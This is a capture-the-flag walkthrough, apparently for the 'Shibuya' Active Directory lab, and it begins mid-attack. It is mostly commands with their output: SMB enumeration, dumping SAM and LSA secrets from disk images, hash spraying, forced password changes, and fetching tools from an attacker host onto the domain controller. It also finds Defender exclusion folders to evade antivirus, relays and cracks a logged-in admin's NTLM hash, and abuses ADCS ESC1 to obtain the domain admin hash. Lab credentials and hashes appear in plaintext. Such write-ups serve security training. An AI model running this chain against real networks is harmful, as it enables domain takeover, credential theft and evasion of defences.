SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 users READ
No
WRITEaccess
$ nxc smb awsjpdc0522.shibuya.vl -u 'svc_autojoin' -p 'K5&A6Dw9d8jrKWhV' -k --shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\svc_autojoin:K5&A6Dw9d8jrKWhV
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Enumerated shares
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 Share Permissions Remark
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ----- ----------- ------
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 ADMIN$ Remote Admin
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 C$ Default share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 images$ READ
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 IPC$ READ Remote IPC
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 NETLOGON READ Logon server share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 SYSVOL READ Logon server share
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 users READ
No
WRITEaccess butREADaccess toimages$folder
Let’s dig into:
$ smbng -d 'shibuya.vl' -u 'svc_autojoin' -p 'K5&A6Dw9d8jrKWhV' -k --kdcHost awsjpdc0522.shibuya.vl --host awsjpdc0522.shibuya.vl
_ _ _ _
___ _ __ ___ | |__ ___| (_) ___ _ __ | |_ _ __ __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | | __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__| |_| |_|\__, |
by @podalirius_ v2.1.7 |___/
[+] Successfully authenticated to 'awsjpdc0522.shibuya.vl' as 'shibuya.vl\svc_autojoin'!
■[\\awsjpdc0522.shibuya.vl\]> use images$
■[\\awsjpdc0522.shibuya.vl\images$\]> ls
d------- 0.00 B 2025-02-16 20:24 .\
d--h--s- 0.00 B 2025-02-19 21:59 ..\
-a------ 7.88 MB 2025-02-16 20:24 AWSJPWK0222-01.wim
-a------ 48.31 MB 2025-02-16 20:24 AWSJPWK0222-02.wim
-a------ 30.58 MB 2025-02-16 20:24 AWSJPWK0222-03.wim
-a------ 357.12 kB 2025-02-16 20:24 vss-meta.cab
Found 3 interesting
.wimfiles and a.cabfile
Download all:
■[\\awsjpdc0522.shibuya.vl\images$\]> get *
OR
$ impacket-smbclient 'svc_autojoin':'K5&A6Dw9d8jrKWhV'@awsjpdc0522.shibuya.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# ls
[-] No share selected
# use images$
# ls
drw-rw-rw- 0 Thu Feb 20 02:35:20 2025 .
drw-rw-rw- 0 Wed Feb 19 21:59:37 2025 ..
-rw-rw-rw- 8264070 Thu Feb 20 02:35:20 2025 AWSJPWK0222-01.wim
-rw-rw-rw- 50660968 Thu Feb 20 02:35:20 2025 AWSJPWK0222-02.wim
-rw-rw-rw- 32065850 Thu Feb 20 02:35:20 2025 AWSJPWK0222-03.wim
-rw-rw-rw- 365686 Thu Feb 20 02:35:20 2025 vss-meta.cab
# get AWSJPWK0222-01.wim
# get AWSJPWK0222-02.wim
# get AWSJPWK0222-03.wim
# get vss-meta.cab
# exit
Credentials dumping (operator)
A WIM (Windows Imaging Format) file is a file-based disk image format developed by Microsoft.
Then let’s mount them:
$ sudo mkdir -p /mnt/wim1 /mnt/wim2 /mnt/wim3
$ sudo apt install wimtools
$ sudo wimmount AWSJPWK0222-01.wim /mnt/wim1
$ sudo wimmount AWSJPWK0222-02.wim /mnt/wim2
$ sudo wimmount AWSJPWK0222-03.wim /mnt/wim3
After some enumeration, we found SAM, SECURITY, SYSTEM hives:
# ls -la /mnt/wim2
total 44940
drwxrwxrwx 1 root root 0 Feb 16 20:18 .
drwxr-xr-x 5 root root 4096 Feb 22 10:41 ..
...
-rwxrwxrwx 1 root root 65536 Feb 16 20:16 SAM
-rwxrwxrwx 1 root root 65536 May 8 2021 SAM.LOG1
-rwxrwxrwx 1 root root 49152 May 8 2021 SAM.LOG2
-rwxrwxrwx 1 root root 32768 Feb 16 20:16 SECURITY
-rwxrwxrwx 1 root root 68608 May 8 2021 SECURITY.LOG1
-rwxrwxrwx 1 root root 0 May 8 2021 SECURITY.LOG2
-rwxrwxrwx 1 root root 17039360 Feb 16 20:16 SYSTEM
-rwxrwxrwx 1 root root 0 May 8 2021 SYSTEM.LOG1
-rwxrwxrwx 1 root root 0 May 8 2021 SYSTEM.LOG2
...
Let’s copy them in a local folder then dump the credentials/hashes:
$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x2e971736685fc53bfd5106d471e2f00f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8dcb5ed323d1d09b9653452027e8c013:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9dc1b36c1e31da7926d77ba67c654ae6:::
operator:1000:aad3b435b51404eeaad3b435b51404ee:5d8c3d1a20bd63f60f469f6763ca0d50:::
[*] Dumping cached domain logon information (domain/username:hash)
SHIBUYA.VL/Simon.Watson:$DCC2$10240#Simon.Watson#04b20c71b23baf7a3025f40b3409e325: (2025-02-16 11:17:56)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:2f006b004e0045004c0045003f0051005800290040004400580060005300520079002600610027002f005c002e002e0053006d0037002200540079005e0044003e004e0056005f00610063003d00270051002e00780075005b0075005c00410056006e004200230066004a0029006f007a002a005700260031005900450064003400240035004b0079004d006f004f002100750035005e0043004e002500430050006e003a00570068005e004e002a0076002a0043005a006c003d00640049002e006d005a002d002d006e0056002000270065007100330062002f00520026006b00690078005b003600670074003900
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1fe837c138d1089c9a0763239cd3cb42
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb31a4d81f2df440f806871a8b5f53a15de12acc1
dpapi_userkey:0xe14c10978f8ee226cbdbcbee9eac18a28b006d06
[*] NL$KM
0000 92 B9 89 EF 84 2F D6 55 73 67 31 8F E0 02 02 66 ...../.Usg1....f
0010 F9 81 42 68 8C 3B DF 5D 0A E5 BA F2 4A 2C 43 0E ..Bh.;.]....J,C.
0020 1C C5 4F 40 1E F5 98 38 2F A4 17 F3 E9 D9 23 E3 ..O@...8/.....#.
0030 D1 49 FE 06 B3 2C A1 1A CB 88 E4 1D 79 9D AE 97 .I...,......y...
NL$KM:92b989ef842fd6557367318fe0020266f98142688c3bdf5d0ae5baf24a2c430e1cc54f401ef598382fa417f3e9d923e3d149fe06b32ca11acb88e41d799dae97
[*] Cleaning up...
Found a non common account
operator:5d8c3d1a20bd63f60f469f6763ca0d50
Another way is also to use PowerISO to read the images, then inside the AWSJPWK0222-02.wim file we find registry files. So we get them and use Impacket secretsdump.
An eastern egg is also present here:
$ cat ./AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_History.txt
Umount all:
$ sudo umount /mnt/wim1 /mnt/wim2 /mnt/wim3
Password spraying (Simon.Watson) (Shibuya_User)
$ nxc smb awsjpdc0522.shibuya.vl -u all_users.txt -H '5d8c3d1a20bd63f60f469f6763ca0d50' -k --continue-on-success
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\_admin:5d8c3d1a20bd63f60f469f6763ca0d50 KDC_ERR_PREAUTH_FAILED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\Guest:5d8c3d1a20bd63f60f469f6763ca0d50 KDC_ERR_CLIENT_REVOKED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\krbtgt:5d8c3d1a20bd63f60f469f6763ca0d50 KDC_ERR_CLIENT_REVOKED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\AWSJPDC0522$:5d8c3d1a20bd63f60f469f6763ca0d50 KDC_ERR_PREAUTH_FAILED
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [-] shibuya.vl\svc_autojoin:5d8c3d1a20bd63f60f469f6763ca0d50 KDC_ERR_PREAUTH_FAILED
...
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
...
Found
Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
No WinRM access but we can grab the Shibuya_User flag using SMB:
$ nxc smb awsjpdc0522.shibuya.vl -u 'Simon.Watson' -H '5d8c3d1a20bd63f60f469f6763ca0d50' -k --share users --get-file \\simon.watson\\Desktop\\flag.txt flag.txt
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:5d8c3d1a20bd63f60f469f6763ca0d50
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Copying "\simon.watson\Desktop\flag.txt" to "flag.txt"
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] File "\simon.watson\Desktop\flag.txt" was downloaded to "flag.txt"
$ cat flag.txt
VL{3e0a2a7b08c201d62b243295abddb663}
OR
$ smbng -d 'shibuya.vl' -u 'Simon.Watson' -H '5d8c3d1a20bd63f60f469f6763ca0d50' -k --kdcHost awsjpdc0522.shibuya.vl --host awsjpdc0522.shibuya.vl
_ _ _ _
___ _ __ ___ | |__ ___| (_) ___ _ __ | |_ _ __ __ _
/ __| '_ ` _ \| '_ \ / __| | |/ _ \ '_ \| __|____| '_ \ / _` |
\__ \ | | | | | |_) | (__| | | __/ | | | ||_____| | | | (_| |
|___/_| |_| |_|_.__/ \___|_|_|\___|_| |_|\__| |_| |_|\__, |
by @podalirius_ v2.1.7 |___/
[+] Successfully authenticated to 'awsjpdc0522.shibuya.vl' as 'shibuya.vl\Simon.Watson'!
■[\\awsjpdc0522.shibuya.vl\]> use users
■[\\awsjpdc0522.shibuya.vl\users\]> cd simon.watson\Desktop
■[\\awsjpdc0522.shibuya.vl\users\simon.watson\Desktop\]> ls
d----r-- 0.00 B 2025-02-16 19:42 .\
d------- 0.00 B 2025-02-19 04:36 ..\
-a------ 36.00 B 2025-02-16 19:43 flag.txt
■[\\awsjpdc0522.shibuya.vl\users\simon.watson\Desktop\]> cat flag.txt
VL{3e0a2a7b08c201d62b243295abddb663}
AD enumeration via BloodHound
Now we will start a SSH dynamic port forward to be able to join the internal network:
$ sshpass -p 'K5&A6Dw9d8jrKWhV' ssh -D 1080 -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' svc_autojoin@awsjpdc0522.shibuya.vl
Permission denied, please try again.
Failed with
svc_autojoin
Try also with red and purple but same punition:
$ sshpass -p 'red' ssh -D 1080 -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' red@awsjpdc0522.shibuya.vl
Permission denied, please try again.
So we have also Simon.Watson but because we have only the Hash then we will need to change the passowrd (not good for OPSec):
$ impacket-changepasswd shibuya.vl/'simon.watson'@awsjpdc0522.shibuya.vl -hashes ':5d8c3d1a20bd63f60f469f6763ca0d50' -newpass 'Azerty123!'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Changing the password of shibuya.vl\simon.watson
[*] Connecting to DCE/RPC as shibuya.vl\simon.watson
[*] Password was changed successfully.
Then start our port forward:
$ sshpass -p 'Azerty123!' ssh -D 1080 -o 'StrictHostKeyChecking=accept-new' -o 'StrictHostKeyChecking=no' simon.watson@awsjpdc0522.shibuya.vl
Then let quickly check open ports:
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson>netstat -p TCP -taon | findstr LISTEN
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 2628 InHost
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 920 InHost
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 920 InHost
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 372 InHost
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2400 InHost
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4 InHost
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 552 InHost
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 732 InHost
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 1132 InHost
TCP 0.0.0.0:49674 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:49677 0.0.0.0:0 LISTENING 2212 InHost
TCP 0.0.0.0:49826 0.0.0.0:0 LISTENING 2264 InHost
TCP 0.0.0.0:54150 0.0.0.0:0 LISTENING 2664 InHost
TCP 0.0.0.0:57515 0.0.0.0:0 LISTENING 644 InHost
TCP 0.0.0.0:57516 0.0.0.0:0 LISTENING 664 InHost
TCP 0.0.0.0:57535 0.0.0.0:0 LISTENING 2460 InHost
TCP 10.10.84.140:53 0.0.0.0:0 LISTENING 2460 InHost
TCP 10.10.84.140:139 0.0.0.0:0 LISTENING 4 InHost
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 2460 InHost
Confirmed that LDAP is correctly open internally (if not we will have a problem for a DC ^^)
Then AD dumping:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
shibuya\simon.watson@AWSJPDC0522 C:\Users\simon.watson> powershell
PS C:\Users\simon.watson> cd C:\windows\tasks
PS C:\windows\tasks> curl http://10.8.4.253/SharpHound.exe -o sh.exe
PS C:\windows\tasks> .\sh.exe -c all,gpolocalgroup -d shibuya.vl
PS C:\windows\tasks> copy .\20250221191421_BloodHound.zip c:\users\simon.watson\
$ nxc smb awsjpdc0522.shibuya.vl -u 'Simon.Watson' -p 'Azerty123!' -k --share users --get-file \\simon.watson\\20250221191421_BloodHound.zip 20250221191421_BloodHound.zip
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\Simon.Watson:Azerty123!
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Copying "\simon.watson\20250221191421_BloodHound.zip" to "20250221191421_BloodHound.zip"
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] File "\simon.watson\20250221191421_BloodHound.zip" was downloaded to "20250221191421_BloodHound.zip"
Cleaning:
PS C:\windows\tasks> del C:\users\simon.watson\20250221191421_BloodHound.zip
PS C:\windows\tasks> del *
Ingest to BHCE then analyze:
nigel.millsis member ofT1_ADMINSgroup with an active session on the DCawsjpdc0522
Double check is currently active:
PS C:\windows\tasks> curl http://10.8.4.253/RunasCs.exe -o rc.exe
PS C:\windows\tasks> ./rc.exe 'svc_autojoin' 'K5&A6Dw9d8jrKWhV' qwinsta -l 9
Program 'rc.exe' failed to run: Operation did not complete successfully because the file contains a virus or potentially unwanted softwareAt
line:1 char:1
Arfff catched
PS C:\windows\tasks> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
_admin
Domain Admins
Enterprise Admins
The command completed successfully.
So we are not an admin to be able to deactivate Defender but we can try to find an exception folder (using SharpExclusionFinder or PsExclusionFinder.ps1):
PS C:\windows\tasks> curl http://10.8.4.253/PsExclusionFinder.ps1 -o PsExclusionFinder.ps1
PS C:\windows\tasks> Import-Module .\PsExclusionFinder.ps1
PS C:\windows\tasks> Get-ExcludedDirectories -Directory "C:\programdata" -Depth 2
Found a total of 52 folders inside C:\programdata within a depth of 2.
[+] Folder excluded: C:\programdata\shibuya
Found
C:\programdata\shibuya
OR
We can also use Invoke-DefenderExclusions.ps1 to retrieve Defender exclusion paths as low-privilege user by parsing Windows event 5007.
PS C:\windows\tasks> cd C:\programdata\shibuya\
PS C:\programdata\shibuya> curl http://10.8.4.253/RunasCs.exe -o rc.exe
PS C:\programdata\shibuya> ./rc.exe 'svc_autojoin' 'K5&A6Dw9d8jrKWhV' qwinsta -l 9
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
rdp-tcp#0 nigel.mills 1 Active console 2 Conn 31c5ce94259d4... 65536 Listen rdp-tcp 65537 Listen
- Confirmed that
nigel.millshas an active RDP session on the DC.
Note
- We execute
qwinstaundersvc_autojoinas we need to be in a “netonly” context to list the sessions.
Cross Session relaying (Nigel.Mills)
Now let’s go to to abuse the logged in session by Nigel by triggering an authentication back to our attacker machine and relaying it to dump the hash.
We compile KrbRelay or we can use a compiled version KrbRelay.exe.
PS C:\programdata\shibuya> .\rc.exe svc_autojoin 'K5&A6Dw9d8jrKWhV' -d 'shibuya.vl' -l 9 'C:\programdata\shibuya\krbr.exe -ntlm -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4 -ntml -port 8000'
[*] Auth Context: SHIBUYA\nigel.mills
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\programdata\shibuya\krbr.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAAqgQ6P0BWhmgtXglSJ5B5XAkwAAAQJ//8YaYrSWKyT9CIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Forcing cross-session authentication
[*] Using CLSID: 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a4
[*] Spawning in session 1
[*] NTLM1
4e544c4d535350000100000097b218e207000700330000000b000b00280000000a007c4f0000000f4157534a5044433035323253484942555941
[*] NTLM2
4e544c4d53535000020000000e000e003800000015c299e25124adaf59ec901700000000000000009c009c00460000000a007c4f0000000f530048004900420055005900410002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800104423ede784db010000000000000000000000005c00410070007000490044005c006b00000000000b000000
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle, Connection, AllowNonUserLogons
[*] NTLM3
Nigel.Mills::SHIBUYA:5124adaf59ec9017:238bf989b21add3f045c6a2c940f70ff:0101000000000000104423ede784db0155bca63bc5335cf80000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800104423ede784db01060004000600000008003000300000000000000001000000002000008fa09177ee5c567371622031fa2452f321336c2e408d524bfbd3c6e5bfcf18aa0a00100000000000000000000000000000000000090000000000000000000000
System.UnauthorizedAccessException: Access is denied.
Access is denied.
Got the NTLM hash of
Nigel.Mills
Crack it with Hashcat:
$ hashcat -a 0 -m 5600 nigel.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
NIGEL.MILLS::SHIBUYA:5124adaf59ec9017:238bf989b21add3f045c6a2c940f70ff:0101000000000000104423ede784db0155bca63bc5335cf80000000002000e005300480049004200550059004100010016004100570053004a0050004400430030003500320032000400140073006800690062007500790061002e0076006c0003002c004100570053004a0050004400430030003500320032002e0073006800690062007500790061002e0076006c000500140073006800690062007500790061002e0076006c0007000800104423ede784db01060004000600000008003000300000000000000001000000002000008fa09177ee5c567371622031fa2452f321336c2e408d524bfbd3c6e5bfcf18aa0a00100000000000000000000000000000000000090000000000000000000000:Sail2Boat3
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: NIGEL.MILLS::SHIBUYA:5124adaf59ec9017:238bf989b21ad...000000
...
Found
nigel.mills:Sail2Boat3
So we can connect to the DC via RDP:
$ nxc rdp awsjpdc0522.shibuya.vl -u 'nigel.mills' -p 'Sail2Boat3'
RDP 10.10.84.140 3389 AWSJPDC0522 [*] Windows 10 or Windows Server 2016 Build 20348 (name:AWSJPDC0522) (domain:shibuya.vl) (nla:True)
RDP 10.10.84.140 3389 AWSJPDC0522 [+] shibuya.vl\nigel.mills:Sail2Boat3 (Pwn3d!)
$ xfreerdp /v:awsjpdc0522.shibuya.vl /u:'nigel.mills' /p:'Sail2Boat3' /d:WORKGROUP /dynamic-resolution +clipboard
ADCS ESC1 abusing (Shibuya_Root)
ADCS Certificates hunting
List All PKI Enrollment Servers:
$ proxychains4 -q nxc ldap awsjpdc0522.shibuya.vl -u 'nigel.mills' -p 'Sail2Boat3' -d 'shibuya.vl' --dns-server 10.10.84.140 -M adcs
SMB 10.10.84.140 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
LDAP 10.10.84.140 389 AWSJPDC0522 [+] shibuya.vl\nigel.mills:Sail2Boat3
ADCS 10.10.84.140 389 AWSJPDC0522 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS 10.10.84.140 389 AWSJPDC0522 Found PKI Enrollment Server: AWSJPDC0522.shibuya.vl
ADCS 10.10.84.140 389 AWSJPDC0522 Found CN: shibuya-AWSJPDC0522-CA
Hunt for ADCS CAs:
$ proxychains4 -q nxc smb awsjpdc0522.shibuya.vl -u 'nigel.mills' -p 'Sail2Boat3' -d 'shibuya.vl' -M enum_ca
SMB 224.0.0.1 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 224.0.0.1 445 AWSJPDC0522 [+] shibuya.vl\nigel.mills:Sail2Boat3
ENUM_CA 224.0.0.1 445 AWSJPDC0522 Active Directory Certificate Services Found.
ENUM_CA 224.0.0.1 445 AWSJPDC0522 http://224.0.0.1/certsrv/certfnsh.asp
Search for vulnerable template:
$ proxychains -q certipy-ad find -u 'nigel.mills'@'awsjpdc0522.shibuya.vl' -p 'Sail2Boat3' -dc-ip 10.10.84.140
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA
[!] Got error while trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'shibuya-AWSJPDC0522-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'shibuya-AWSJPDC0522-CA'
[*] Saved BloodHound data to '20250222143838_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20250222143838_Certipy.txt'
[*] Saved JSON output to '20250222143838_Certipy.json'
Check:
grep -Rin 'ESC' 20250222143838_Certipy.txt
24: ESC8 : Web Enrollment is enabled and Request Disposition is set to Issue
63: ESC1 : 'SHIBUYA.VL\\t1_admins' can enroll, enrollee supplies subject and template allows client authentication
64: ESC2 : 'SHIBUYA.VL\\t1_admins' can enroll and template can be used for any purpose
65: ESC3 : 'SHIBUYA.VL\\t1_admins' can enroll and template has Certificate Request Agent EKU set
Certificate Templates
0
Template Name : ShibuyaWeb
Display Name : ShibuyaWeb
Certificate Authorities : shibuya-AWSJPDC0522-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : ExportableKey
Extended Key Usage : Any Purpose
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 100 years
Renewal Period : 75 years
Minimum RSA Key Length : 4096
Permissions
Enrollment Permissions
Enrollment Rights : SHIBUYA.VL\t1_admins
SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
Object Control Permissions
Owner : SHIBUYA.VL\_admin
Write Owner Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
Write Dacl Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
Write Property Principals : SHIBUYA.VL\Domain Admins
SHIBUYA.VL\Enterprise Admins
SHIBUYA.VL\_admin
[!] Vulnerabilities
ESC1 : 'SHIBUYA.VL\\t1_admins' can enroll, enrollee supplies subject and template allows client authentication
ESC2 : 'SHIBUYA.VL\\t1_admins' can enroll and template can be used for any purpose
ESC3 : 'SHIBUYA.VL\\t1_admins' can enroll and template has Certificate Request Agent EKU set
Found
ESC1
As we know that nigel.mills is a member of T1_ADMINS group then we can exploit it.
ESC1 exploiting (_admin)
Align our local clock to the server clock:
$ sudo rdate -n awsjpdc0522.shibuya.vl
Request the Administrator PFX certificate:
Note
It’s needed to adjust the -key-size option to a value higher than 4096 to prevent a NetBIOS error.
$ proxychains4 -q certipy-ad req -u 'nigel.mills'@'awsjpdc0522.shibuya.vl' -p 'Sail2Boat3' -dc-ip 10.10.84.140 -target AWSJPDC0522 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn '_admin' -key-size 4096
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 5
[*] Got certificate with UPN '_admin'
[*] Certificate has no object SID
[*] Saved certificate and private key to '_admin.pfx'
This .pfx file is a joined file that includes the certificate along with the private key for this Administrator user.
We can use this .pfx file to authenticate to retrieve the _admin user’s NTLM hash:
$ proxychains4 -q certipy-ad auth -pfx _admin.pfx -dc-ip 10.10.84.140 -ns 10.10.84.140 -k -domain shibuya.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl
[*] Trying to get TGT...
[-] Object SID mismatch between certificate and user '_admin'
Oh ok sometimes we can have this issue then we get the SID of _admin in BHCE then request again the PFX then try to get the Hash:
$ proxychains4 -q certipy-ad req -u 'nigel.mills'@'awsjpdc0522.shibuya.vl' -p 'Sail2Boat3' -dc-ip 10.10.84.140 -target AWSJPDC0522 -ca shibuya-AWSJPDC0522-CA -template ShibuyaWeb -upn '_admin' -key-size 4096 -sid 'S-1-5-21-87560095-894484815-3652015022-500'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 7
[*] Got certificate with UPN '_admin'
[*] Certificate object SID is 'S-1-5-21-87560095-894484815-3652015022-500'
[*] Saved certificate and private key to '_admin.pfx'
$ proxychains4 -q certipy-ad auth -pfx _admin.pfx -dc-ip 10.10.84.140 -ns 10.10.84.140 -k -domain shibuya.vl
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: _admin@shibuya.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved Kirbi file to '_admin.kirbi'
[*] Trying to retrieve NT hash for '_admin'
[*] Got hash for '_admin@shibuya.vl': aad3b435b51404eeaad3b435b51404ee:bab5b2a004eabb11d865f31912b6b430
Found
_admin:bab5b2a004eabb11d865f31912b6b430
Then we grab the Shibuya_Root flag:
$ nxc smb awsjpdc0522.shibuya.vl -u '_admin' -H 'bab5b2a004eabb11d865f31912b6b430' -k --get-file \\users\\administrator\\Desktop\\root.txt root.txt
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\_admin:bab5b2a004eabb11d865f31912b6b430 (Pwn3d!)
